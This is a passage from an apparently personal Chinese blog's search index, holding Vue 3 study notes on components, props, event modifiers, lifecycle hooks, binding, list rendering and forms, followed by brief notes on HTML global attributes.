hhh\u0026lt;/p\u0026gt;\u0026quot; // 局部组件 } const app = Vue.createApp({ components: { \u0026quot;test\u0026quot; :Test_date Test_datea } }).mount('#app') 其中test为组件名，指向了Test_date局部组件，\n父子组件之间传递数据\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;test :name=\u0026quot;text\u0026quot;\u0026gt;\u0026lt;/test\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; const app = Vue.createApp({ data() { return { text: \u0026quot;hallo\u0026quot;, } } }) app.component(\u0026quot;test\u0026quot;,{ props: [\u0026quot;name\u0026quot;], template: `\u0026lt;p\u0026gt;{{name}}\u0026lt;/p\u0026gt;` }) app.mount('#app') \u0026lt;/script\u0026gt; 静态传值只能传字符串类型，如果要传其他数据类型或者想动态传递数据，可以使用v-bind\n通过循环来输出一组数据\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;test v-for=\u0026quot;data in datas\u0026quot; :key=\u0026quot;data.id\u0026quot; :href=\u0026quot;data.url\u0026quot; :text=\u0026quot;data.text\u0026quot;\u0026gt;\u0026lt;/test\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; const app = Vue.createApp({ data() { return { datas: [ {id: 1, url: \u0026quot;https://xiaochenabc123.test.com\u0026quot;, text: \u0026quot;hallo\u0026quot;}, {id: 2, url: \u0026quot;https://test.xiaochenabc123.test.com\u0026quot;, text: \u0026quot;abcxyz\u0026quot;} ] } } }) app.component(\u0026quot;test\u0026quot;,{ props: [\u0026quot;text\u0026quot;], template: `\u0026lt;a\u0026gt;\u0026lt;p\u0026gt;{{text}}\u0026lt;/p\u0026gt;\u0026lt;/a\u0026gt;` }) app.mount('#app') \u0026lt;/script\u0026gt; 传值校验\nprops中的值进行验证，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;test text=\u0026quot;123\u0026quot; url=\u0026quot;https://xiaochenabc123.test.com\u0026quot; main=\u0026quot;yes\u0026quot; ifmain=11\u0026gt;\u0026lt;/test\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; const app = Vue.createApp({}) app.component(\u0026quot;test\u0026quot;,{ props: { text: String, // 基本类型验证 null和undefined会通过任何类型验证，如果不是这个类型，将返回警告 url: [Number,String], // 多个类型验证，当数据不是这的类型 main: { type: String, // 类型String，必填，如果设置没有该值 required: true }, hallo: { type: String, // 类型String，带默认值default default: \u0026quot;hallo vuejs\u0026quot; }, obj: { type: Object, // 类型Object，带默认值函数 default: function(){ return{ text: \u0026quot;abc\u0026quot; } } }, ifmain: { validator: function(value){ return(value\u0026gt;10) // 验证函数 } } }, template: ` \u0026lt;p\u0026gt;{{text}}\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;{{url}}\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;{{main}}\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;{{hallo}}\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;{{obj}}\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;{{ifmain}}\u0026lt;/p\u0026gt; ` }) app.mount('#app') \u0026lt;/script\u0026gt; vuejs事件修饰符\n.stop：阻止冒泡事件的发生，只触发自身的事件，一个子元素定义了事件，但是它的父元素也定义了一个事件，而且这两个事件的触发机制还是一样的，那么就会导致这两个事件都触发，而想避免发生就需要在目标元素上的事件加上.stop，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot; @click = \u0026quot;divclick\u0026quot;\u0026gt; \u0026lt;input type=\u0026quot;button\u0026quot; value=\u0026quot;GO\u0026quot; @click.stop = \u0026quot;inputclick\u0026quot;\u0026gt; \u0026lt;/div\u0026gt; .prevent：拦截默认事件的发生，有一些标记拥有自身的默认事件，例如a标记，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;a href=\u0026quot;https://xiaochenabc123.test.com\u0026quot; @click.prevent = \u0026quot;alinkclick\u0026quot;\u0026gt;{{data}}\u0026lt;/a\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; const hallo ={ data(){ return{ data: \u0026quot;GO\u0026quot; } }, methods: { alinkclick: function(){ console.log(\u0026quot;hallo\u0026quot;) }, }, } Vue.createApp(hallo).mount(\u0026quot;#app\u0026quot;) \u0026lt;/script\u0026gt; 这里阻止了a标记的默认事件\n.capture：捕获事件，当发生冒泡事件时，先触发带有该修饰符的，如果有多个，则从父元素到子元素触发\n触发机制：优先触发带有.capture的，然后再按照从内往外的冒泡\n.self：只有当事件在该元素上时才触发，冒泡和捕获都无法让其触发事件，只要当事件发生在该元素本身才会触发\n.once：指定该绑定的事件只会触发一次\n.stop和.self的区别：.stop会阻止全部冒泡事件，而.self只阻止自身的冒泡\n.passive：每一次发生事件，浏览器都去查询有没有preventDefault来阻止该事件的默认行为，.passive就是来声明，没有使用preventDefault来阻止该事件的默认行为，因为其是告诉没有使用阻止事件的默认行为，所有passive是和prevent冲突，不能一起使用，否则.prevent会被忽略\n因为在移动端，一般都是监听滚动事件比较多，而每移动一次都会触发一次事件，会进行查询有没有使用prevent，可能会导致滑动卡顿，使用passive能有效提升移动端的性能和流畅度\n生命周期钩子函数会在某一些特定的时刻自动触发，方便在该时刻完成一些工作\nvue实例生命周期\nvue实例的创建，运行，到销毁期间，会触发一些叫生命周期钩子的函数，可以通过该来监听数据变化\n按照生命周期排序：\nbeforeCreate：实例刚刚初始化之后，数据观察和事件机制（data 和 methods）都还未初始化，不能获取dom节点\ncreated：数据观察和事件机制（data 和 methods）都已经初始化，dom节点处理完成，组件未加载\nbeforeMount：实例已经加载完毕，但是还没有执行挂载操作，得不到具体的DOM元素\nmounted：实例已经加载完毕，也执行了挂载操作，DOM已被渲染出来\nbeforeUpdate：处于数据更新之前，data中的值是最新的，但是页面上还是旧的数据，还没有重新处理dom节点\nupdated：处于数据更新之后，data中的值和页面上的数据都已经更新，dom节点也被重新处理\nbeforeUnmount：实例销毁之前，实例还是在可用状态，可使用this获取实例\nunmounted：实例销毁后，数据绑定和事件监听器全部清除，子实例销毁\n例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\u0026lt;/div\u0026gt; const app = Vue.createApp({ data(){ return{ message: 'hallo word' } }, beforeCreate() { console.log(\u0026quot;beforeCreate\u0026quot;) }, created() { console.log(\u0026quot;created\u0026quot;) }, beforeMount(){ console.log(\u0026quot;beforeMount\u0026quot;) }, mounted() { console.log(\u0026quot;mounted\u0026quot;) }, beforeUpdate() { console.log(\u0026quot;beforeUpdate\u0026quot;) }, updated() { console.log(\u0026quot;updated\u0026quot;) }, beforeUnmount() { console.log(\u0026quot;beforeUnmount\u0026quot;) }, unmounted() { console.log(\u0026quot;unmounted\u0026quot;) }, template: \u0026quot;\u0026lt;h2\u0026gt;{{message}}\u0026lt;/h2\u0026gt;\u0026quot; }) let main = app.mount(\u0026quot;#app\u0026quot;) setTimeout(()=\u0026gt;{ main.$data.message = 'abc' // 挂载3秒后触发更新事件 },3000) setTimeout(() =\u0026gt; { app.unmount() // 6秒后触发销毁事件 }, 6000) 访问组件的生命周期\nvue组件周期\n实例生命周期加on就是组件周期\nbeforeCreate和created统一为setup()\nbeforeMount为onBeforeMout，mounted为onMounted，beforeUpdate为onBeforeUpdate，updated为onUpdated，beforeUnmount为onBeforeUnmount，unmounted为onUnmounted\nsetup：data 和 method 都已经初始化\nonBeforeMount：组件被挂载到dom节点之前\nonMounted：组件被挂载到dom节点完毕\nonBeforeUpdate：组件更新之前\nonUpdated：组件更新之后\nonBeforeUnmount：组件销毁之前\nonUnmounted：组件销毁完毕之后\nonErrorCaptured：当捕获到来自子孙组件的异常时\nonRenderTracked：当虚拟DOM重新渲染时调用\nonRenderTriggered：当虚拟DOM重新渲染被触发时调用\nonActivated：当被包含在中的组件时\nonDeactivated: 当被包含在中的组件发生改变时（例如切换组件，原来的组件销毁时）\n注意：使用的组件会把数据保留在内存中，避免需要重新加载多次数据\n实例的data()是一个函数，并非方法，vue在创建vue的组件实例过程中会调用该函数，以$data的形式进行存储在vue实例中，data中的所有值都可以通过实例来暴露（访问或者修改），例如：\nconst hallo = Vue.createApp({ data() { return { hallovuejs: \u0026quot;hallo vuejs!\u0026quot; } } }).mount(\u0026quot;#app\u0026quot;) console.log(hallo.$data.hallovuejs) console.log(hallo.hallovuejs) 方法\nvue允许使用methods向组件实例添加方法\nvue会自动为methods绑定this，使其始终指向组件实例\nmethods一样可以在组件模板中暴露，也可以在模板中用做事件监听\n\u0026lt;div @click=\u0026quot;alinkclick\u0026quot;\u0026gt;\u0026lt;/div\u0026gt; 计算属性\n计算属性和方法的区别就是：计算属性只在其依赖发生变化才重新计算，只要依赖未发生改变，那么就会直接从缓存中获取，不会再执行其函数\n如果使用一个方法来计算时，那么data()返回的值，发生一次改变，事件方法就会重新计算一次，因此涉及计算类的使用计算属性，而不是方法\n例如：\nconst app = Vue.createApp({ data() { return { hallovuejs: \u0026quot;hallo vuejs!\u0026quot; } }, computed: { hallo(){ return this.hallovuejs == \u0026quot;hallo vuejs!\u0026quot; ? \u0026quot;Yes\u0026quot; : \u0026quot;No\u0026quot; } } }).mount(\u0026quot;#app\u0026quot;) watch监听器\nwatch接收2个参数，被监听的data()属性值，回调函数，当监听的变量发生改变时，自动执行回调函数，例如\nconst app = Vue.createApp({ data() { return { num: 100 } }, watch: { num(current, prev) { console.log('num发生改变') console.log(\u0026quot;改变之后的值:\u0026quot;, current) console.log(\u0026quot;改变之前的值:\u0026quot;, prev) } } }) let vm = app.mount(\u0026quot;#app\u0026quot;) vm.num = 300 vm.$data.num = 600 另外一种使用方法\nconst count = ref(100) watch(count,(current, prev) =\u0026gt; { console.log('num发生改变') console.log(\u0026quot;改变之后的值:\u0026quot;,current) console.log(\u0026quot;改变之前的值:\u0026quot;,prev) }) watch和计算属性的区别：虽然都可以监听data()属性值的改变，但是计算属性会在页面渲染时触发一次，而watch只在被监听的发生改变时触发，而且watch可以得到改变之后的值和改变之前的值\nwatch可以监听多个值\nclass绑定\nvue允许使用:class对象来动态切换class，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;p :class=\u0026quot;{container: yes,nav: no}\u0026quot;\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; const hallo = Vue.createApp({ data() { return { yes: true, no: false } } }).mount('#app') \u0026lt;/script\u0026gt; 而class的存在取决于键值对的值，允许传入多个值，也可以直接调用对象，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;p :class=\u0026quot;classnav\u0026quot;\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; const hallo = Vue.createApp({ data() { return { classnav: { container: false, nav: true } } } }).mount('#app') \u0026lt;/script\u0026gt; vue也允许通过数组来传入class，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;p :class=\u0026quot;[classnav,classa]\u0026quot;\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; const hallo = Vue.createApp({ data() { return { classnav: \u0026quot;nav\u0026quot;, classa: \u0026quot;texta\u0026quot; } } }).mount('#app') \u0026lt;/script\u0026gt; 同样也允许使用三元表达式，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;p :class=\u0026quot;[no ? classnav: '',classa]\u0026quot;\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; const hallo = Vue.createApp({ data() { return { no: false, classa: \u0026quot;texta\u0026quot; } } }).mount('#app') \u0026lt;/script\u0026gt; 始终添加classa，classnav取决已经no的值\nvue也是允许在数组中使用对象来处理\n如果在组件中已经绑定了class，而在调用其又加上其他class，那么就会合并，vue允许在组件中进行:class，如果有多个元素，在调用时绑定class，但是又想指定其class给予某个，可以使用$attrs组件属性，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;test class=\u0026quot;nav\u0026quot;\u0026gt;\u0026lt;/test\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; const hallo = Vue.createApp({}).component(\u0026quot;test\u0026quot;,{ template: ` \u0026lt;div\u0026gt;hallo\u0026lt;/div\u0026gt; \u0026lt;div :class=\u0026quot;$attrs.class\u0026quot;\u0026gt;vuejs\u0026lt;/div\u0026gt; ` }).mount('#app') \u0026lt;/script\u0026gt; 上面只有\u0026lt;div\u0026gt;vuejs\u0026lt;/div\u0026gt;接收到class\n内联样式绑定（:style）\n例子：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;div :style=\u0026quot;{ color: a, margin: b + 'px' }\u0026quot;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; const hallo = Vue.createApp({ data() { return { a: \u0026quot;#ccc\u0026quot;, b: 300 } }, }).mount('#app') \u0026lt;/script\u0026gt; 多重值\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;div :style=\u0026quot;{ color: ['#ccc','#fff','#000']}\u0026quot;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; 一般来说只会选择最后一个（前提是浏览器支持）\n列表渲染\nv-for可以将一个数组迭代成一组元素\n使用的形式是 item in items，items为数组，item为迭代的元素，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;div v-for=\u0026quot;item in items\u0026quot; :key=\u0026quot;item.message\u0026quot;\u0026gt; {{ item.message }} \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; const hallo = Vue.createApp({ data() { return { items: [{message: \u0026quot;xyz\u0026quot;},{message: \u0026quot;abc\u0026quot;},{message: \u0026quot;hallo\u0026quot;}] } }, }).mount('#app') 而:key的作用是为了更加效率的渲染dom，更快判断出某个不存在的元素，可以根据key动态来重新排列元素的顺序，key的目的是保证唯一性\nv-for支持index参数，即当前的索引，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;div v-for=\u0026quot;(item,index) in items\u0026quot;\u0026gt; {{ index }}:{{ item.message }} \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; const hallo = Vue.createApp({ data() { return { items: [{message: \u0026quot;xyz\u0026quot;},{message: \u0026quot;abc\u0026quot;},{message: \u0026quot;hallo\u0026quot;}] } }, }).mount('#app') \u0026lt;/script\u0026gt; in可以用of替代\n\u0026lt;div v-for=\u0026quot;(item,index) of items\u0026quot;\u0026gt; v-for也可以使用对象(从某个角度来看，数组也是对象的一种)，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;div v-for=\u0026quot;(item,key) of items\u0026quot; \u0026gt; {{ key }}:{{ item }} \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; const hallo = Vue.createApp({ data() { return { items: { hallo: \u0026quot;yes\u0026quot;, abc: \u0026quot;2002\u0026quot;, xyz: \u0026quot;np\u0026quot; } } }, }).mount('#app') 第二参数为键名，这里命名为key，实质上就是一个key\n也可以加index做为第三个参数，作为索引值\nvue在渲染元素时，如果数据的顺序发生改变，vue是不会将dom元素进行适配顺序，而是重新更新数据，确保正确渲染\nv-for也支持整数\n\u0026lt;div v-for=\u0026quot;a in 6\u0026quot; :key=\u0026quot;a\u0026quot;\u0026gt;\u0026lt;/div\u0026gt; 和遍历一样，会重复对应的次数\n事件处理\n一般用v-on进行监听事件，例如：\n\u0026lt;div v-on:click=\u0026quot;boom\u0026quot;\u0026gt;\u0026lt;/div\u0026gt; 多个事件用逗号,分开\n可以简写为@click=\u0026ldquo;boom\u0026rdquo;，boom是方法，不推荐直接将逻辑写在事件v-on，而是使用一个方法来调用，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;div @click=\u0026quot;boom('yes')\u0026quot;\u0026gt; hallo \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; const hallo = Vue.createApp({ data() { return { abc: \u0026quot;hallo\u0026quot; } }, methods: { boom(a){ console.log(this.abc + \u0026quot;boom\u0026quot;) console.log(a) } } }).mount('#app') 按键修饰符\n一般用于监听键盘事件，精确的知道某个按键是否被触发\n.enter：顾名思义 回车键\n.tab：tab键\n.delete：删除或者退格\n.esc：esc键\n.space：空格键\n.up：上键\n.down：下键\n.left：左键\u0026lt;\n.right: 右键\u0026gt;\n系统修饰符\n.ctrl：ctrl键\n.alt：alt键\n.shift：shift键\n.meta：在win为windows键，在mac为command键\n例如：\n\u0026lt;input @keydown.enter=\u0026quot;submit\u0026quot; /\u0026gt; 上面只要触发一个要求就会被触发\n.exact：精确触发\n@keydown.enter.exact // 只有当enter被按下时触发\n@keydown.exact // 只有在没有任何系统修饰符被按下才触发\n鼠标修饰符\n@click.left：鼠标右键\n@click.right：鼠标右键\n@click.middle：鼠标中键\n例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;test class=\u0026quot;nav\u0026quot;\u0026gt;\u0026lt;/test\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; const hallo = Vue.createApp({}).component(\u0026quot;test\u0026quot;,{ methods: { entersubmit(){ console.log('回车事件已触发') } clickmouse(){ console.log('鼠标中键事件已触发') } } template: ` \u0026lt;input @keydown.enter.exact=\u0026quot;submit\u0026quot; /\u0026gt; \u0026lt;div @click.middle = \u0026quot;clickmouse\u0026quot;\u0026gt;hallo word\u0026lt;/div\u0026gt; ` }).mount('#app') \u0026lt;/script\u0026gt; 自定义指令（directive）\nvue允许指定义指令，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;input type=\u0026quot;text\u0026quot; v-hallo\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; const app = Vue.createApp({}) app.directive(\u0026quot;hallo\u0026quot;,{ mounted(abc) { abc.focus() }, }) app.mount('#app') \u0026lt;/script\u0026gt; 这里的abc指定的是当前元素\n局部指令：组件中接受directives选项\n指令的钩子函数\ncreated：当绑定元素的属性和事件监听器被应用之前调用\nbeforeMount：当指令第一次绑定到元素并且在挂载父组件之前调用\nmounted：绑定元素的父组件被挂载后调用\nbeforeUpdate：更新包含组件的VNode之前调用\nupdated：包含组件的VNode及其子组件的VNode更新后调用\nbeforeUnmount：在卸载绑定元素的父组件之前调用\nunmounted：当指令与元素解除绑定，并且父组件也被卸载时调用一次\n表单输入绑定\nv-model可以用于数据的双向绑定，但是v-model会忽略表单元素的初始值，而使用实例中的数据作为数据源（需要在data中声明初始值）\n复选框的数据绑定返回的是布尔值，也是可以将数据绑定到一个数组中，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;input type=\u0026quot;checkbox\u0026quot; value=\u0026quot;hallo\u0026quot; v-model=\u0026quot;datas\u0026quot;/\u0026gt; \u0026lt;label for=\u0026quot;hallo\u0026quot;\u0026gt;hallo\u0026lt;/label\u0026gt; \u0026lt;input type=\u0026quot;checkbox\u0026quot; value=\u0026quot;abc\u0026quot; v-model=\u0026quot;datas\u0026quot;/\u0026gt; \u0026lt;label for=\u0026quot;abc\u0026quot;\u0026gt;abc\u0026lt;/label\u0026gt; \u0026lt;input type=\u0026quot;checkbox\u0026quot; value=\u0026quot;xyz\u0026quot; v-model=\u0026quot;datas\u0026quot;/\u0026gt; \u0026lt;label for=\u0026quot;xyz\u0026quot;\u0026gt;xyz\u0026lt;/label\u0026gt; \u0026lt;p\u0026gt; data: {{datas}} \u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; const hallo = Vue.createApp({ data() { return { datas: [] } }, }).mount('#app') \u0026lt;/script\u0026gt; 单选框（radio），数据存放在字符串中，输出的也是字符串（选择框和输入框也是字符串）\n如果想输入或者选择返回的不是字符串，而是其他类型，可以使用v-model.number，当然也是可以进行手动转类型，但是v-model.number可以自动判断输入是否是数字还是字符串\ntrue-value和false-value可以在被选中或者取消选中时触发，例如：\ndata: {{datas}} \u0026lt;input type=\u0026quot;checkbox\u0026quot; v-model.lazy=\u0026quot;datas\u0026quot; true-value=\u0026quot;halloword\u0026quot; false-value=\u0026quot;hahahah\u0026quot;/\u0026gt; v-model.lazy是v-model数据双向绑定的懒加载，在每次input事件（失去焦点）触发后将输入框的值与数据进行同步\nv-model.trim可以自动过滤掉输入数据的首尾空格\n组件\n全局注册\napp.component\n局部注册\nconst componentA = {} components: { 'component-a': componentA, } 局部注册的组件，在其子组件是不可用的\n通过Props传递数据给子组件\n通过Props共享一些数据，例如：\napp.component('titles', { props: ['title'], template: `\u0026lt;h3\u0026gt;{{ title }}\u0026lt;/h3\u0026gt;` }) \u0026lt;titles title=\u0026quot;hallo\u0026quot;\u0026gt;\u0026lt;/titles\u0026gt; 在上面的例子里，title=\u0026ldquo;hallo\u0026quot;被传递数据给模板，任何值的可以传递给props，如果一个值被传递给props属性，那么这个值就成了这个组件实例的共享数据，这个值可以在模板中访问\n监听子组件事件\n使用自定义事件监听子组件，通过子组件事件来告诉父组件应该做什么，例如：\ntemplate: ` \u0026lt;button @click=\u0026quot;$emit('hallomain')\u0026quot;\u0026gt; app \u0026lt;/button\u0026gt; ` \u0026lt;div :style=\u0026quot;{fontWeight: yes}\u0026quot;\u0026gt; \u0026lt;hallo @hallomain=\u0026quot;yes += 1\u0026quot;\u0026gt;\u0026lt;/hallo\u0026gt; \u0026lt;/div\u0026gt; 也可以在组件的emits中列出事件\napp.component({ emits: [\u0026quot;hallomain\u0026quot;] }) 事件也可以用来返回一个值 \u0026lt;button @click=\u0026quot;$emit(\u0026lsquo;hallomain\u0026rsquo;,1)\u0026quot;\u0026gt; app \u0026lt;hallo @hallomain=\u0026quot;yes += $event\u0026quot;\u0026gt;\u0026lt;/hallo\u0026gt; 这个值可以使用$event访问到，事件也可以是指向方法的，用事件来触发方法的使用，例如：@hallomain= \u0026ldquo;hallo\u0026rdquo;\n给这个方法定义一下，在methods选项\n组件也可以使用v-model（model-value）\n\u0026lt;hallo :model-value=\u0026quot;hallomain\u0026quot; @update:model-value=\u0026quot;hallomain = $event\u0026quot;\u0026gt;\u0026lt;/hallo\u0026gt; 如果是表单元素，例如input也想用自定义事件，需要将value绑定到props上，当input事件被触发时，就会将value通过自定义事件抛出，例如：\napp.component({ props: [\u0026quot;valueData\u0026quot;], emits: [\u0026quot;hallomain\u0026quot;], template: ` \u0026lt;input :value=\u0026quot;valueData\u0026quot; @input=\u0026quot;$emit(\u0026quot;hallomain\u0026quot;,$event.target.value)\u0026quot;\u0026gt; ` }) vue允许向父组件传递给子组件一些内容，例如：\ntemplate: ` \u0026lt;div class=\u0026quot;hallo\u0026quot;\u0026gt; \u0026lt;div\u0026gt;hallo\u0026lt;/div\u0026gt; \u0026lt;slot\u0026gt;\u0026lt;/slot\u0026gt; \u0026lt;/div\u0026gt; ` \u0026lt;hallo\u0026gt;vuejs\u0026lt;/hallo\u0026gt; 通过vue的自定义元素来插入，父组件的vuejs插入到slot自定义元素中\n如果一个子组件定义了多个slot元素，可以使用name属性和slot属性进行分配，例如： \u0026lt;div slot=\u0026quot;main\u0026quot;\u0026gt;\u0026lt;/div\u0026gt; 发现name属性值和slot属性值相同时，就会分配该插槽到该元素中\n单向数据流：父组件可以修改子组件数据，但是子组件不能修改父组件的数据\n单向数据流的目的是确保组件的独立性，不然多个子组件都可以乱改父组件的数据，导致不知道按哪个数据为准了\n如果想做到类似修改父组件，可以向获取父组件的数据到自己的data数据中，然后赋值给一个属性，通过修改该属性来做到类似修改了父组件的情况（实质上并没有影响到父组件），例如:\napp.component('hallo', { props: ['num'], data(){ return{ num: this.value } } template: `\u0026lt;div\u0026gt;{{num}}\u0026lt;/div\u0026gt;` }) 在上面的例子中，value就是父组件的数据，将其获取到num中，然后就可以改变num了\nNon-Props：当父组件发送一个参数给子组件，但是子组件没有接收到这个参数时，子组件会原封不动的复制到自己的属性上的特性，例如：\nconst app = Vue.createApp({ template: ` \u0026lt;div\u0026gt; \u0026lt;hallo num='hahaha'/\u0026gt; \u0026lt;/div ` }) app.component('hallo', { // props: ['num'], template: `\u0026lt;div\u0026gt;hallo word\u0026lt;/div\u0026gt;` }) const vm = app.mount(\u0026quot;#app\u0026quot;) 可以利用Non-Props的特性，直接在父组件下，给子组件定义一些属性，例如style，class等等，只要子组件没有props接收该数据，都会原封不动的应用在自己的属性中\n如果不想使用Non-Props的特性，又不想被影响，可以使用inheritAttrs属性\napp.component('hallo', { inheritAttrs: false, template: `\u0026lt;div\u0026gt;hallo word\u0026lt;/div\u0026gt;` }) $attrs属性，当一个组件内部是多重嵌套，或者没有根时（指有多个同级元素），拥有该属性的元素才可以获取到利用Non-Props的特性传递的属性，实现属性穿透，而不用再手动传递了\nconst app = Vue.createApp({ template: ` \u0026lt;div\u0026gt; \u0026lt;hallo num='hahaha'/\u0026gt; \u0026lt;/div ` }) app.component('hallo', { template: ` \u0026lt;div v-bind=\u0026quot;$attrs\u0026quot;\u0026gt; \u0026lt;div\u0026gt; \u0026lt;div\u0026gt; \u0026lt;div\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;div v-bind=\u0026quot;$attrs\u0026quot;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;div\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div v-bind=\u0026quot;$attrs\u0026quot;\u0026gt; hallo word \u0026lt;/div\u0026gt; \u0026lt;div\u0026gt; hallo hahaha \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; ` }) 在上面这个例子中，只有带有$attrs属性的元素才能获取该传递的属性\n","permalink":"https://chenjunlinabc.github.io/posts/23/","summary":"vuejs的核心层就是只关心视图层的，本笔记使用的是最新版本的vue3\nvue全家桶：Vue+VueRouter+Vuex\nvue名字来源于法语（中文翻译为视图），可以看出其对视图层的重视\n导入一般都是使用cdn导入或者直接下载vuejs进行托管，也可以使用npm安装或者使用官方的CLI来构建一个应用\nhttps://unpkg.com/vue@next\ncjs版本：完整版，包含编译器\nprod.js都是开发版，代码进行了压缩\nglobal版本：可以直接通过scripts标签导入，会建立一个全局Vue对象\nbrowser版本：包含esm,浏览器模块\nbundler版本：该版本不是完整版，min\nvuejs模板支持所有JavaScript表达式\nvuejs本身是用声明式渲染把数据渲染到html dom中，渲染格式为{{\u0026hellip;}}，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;p\u0026gt;{{ hallovuejs }}\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; const hallo ={ data() { return { hallovuejs: \u0026quot;hallo vuejs!\u0026quot; } } } Vue.createApp(hallo).mount(\u0026quot;#app\u0026quot;) \u0026lt;/script\u0026gt; vue本身携带了一些指令，主要特征就是带有v-前缀，用来渲染html dom上的一些行为，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;a v-bind:href=\u0026quot;url\u0026quot;\u0026gt;{{ main }}\u0026lt;/a\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; const hallo ={ data() { return { url:\u0026quot;https://xiaochenabc123.test.com\u0026quot;, main: \u0026quot;小陈的辣鸡屋\u0026quot; } } } Vue.createApp(hallo).mount(\u0026quot;#app\u0026quot;) \u0026lt;/script\u0026gt; 这个v-bind:href，就是将a标签的href属性绑定，v-bind可以绑定任何属性，例如class属性等等，因此可以在视图层留下一些接口指令，让vuejs来响应式渲染出视图\n而vue还提供了可以绑定事件的v-on属性，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;button v-on:click=\u0026quot;go\u0026quot;\u0026gt;{{ main }}\u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; const hallo ={ data() { return { main: \u0026quot;hallo\u0026quot; } }, methods: { go: function(){ console.","title":"vuejs基础学习笔记"},{"content":"属性\naccesskey\n定义快捷键获取焦点，例如\n\u0026lt;a href=\u0026quot;https://xiaochenabc123.test.com\u0026quot; accesskey=\u0026quot;q\u0026quot;\u0026gt;GO\\\u0026lt;/a\u0026gt; 按ait+q，就会跳到指定的网页上\nclass\n定义元素的类，开头必须是字母，多个类使用空格隔开，例如\n\u0026lt;div class = \u0026quot;a1 a2 a3\u0026quot;\u0026gt;\u0026lt;/div\u0026gt; id\n定义一个id，id为唯一性，不能重复，例如\n\u0026lt;div id = \u0026quot;a1\u0026quot;\u0026gt;\u0026lt;/div\u0026gt; lang\n定义网页或者元素的语言，例如\n\u0026lt;div lang = \u0026quot;fr\u0026quot;\u0026gt;\u0026lt;/div\u0026gt; style\n定义元素的行内样式，例如\n\u0026lt;div style=\u0026quot;color : #fff\u0026quot;\u0026gt;hi\u0026lt;/div\u0026gt; tabindex\n指定tab键的焦点控制，例如\n\u0026lt;a href=\u0026quot;https://xiaochenabc123.test.com\u0026quot; tabindex=\u0026quot;1\u0026quot;\u0026gt;GO\u0026lt;/a\u0026gt; 使用键盘的tab键盘，触发（不会跳转到网页，只是焦点）\ncontenteditable\n指定元素是否为可以编辑的，例如\n\u0026lt;div contenteditable=\u0026quot;true\u0026quot;\u0026gt;hi\u0026lt;/div\u0026gt; dir\n指定元素内文本的方向，例如\n\u0026lt;div dir = \u0026quot;rtl\u0026quot;\u0026gt;hi\u0026lt;/div\u0026gt; 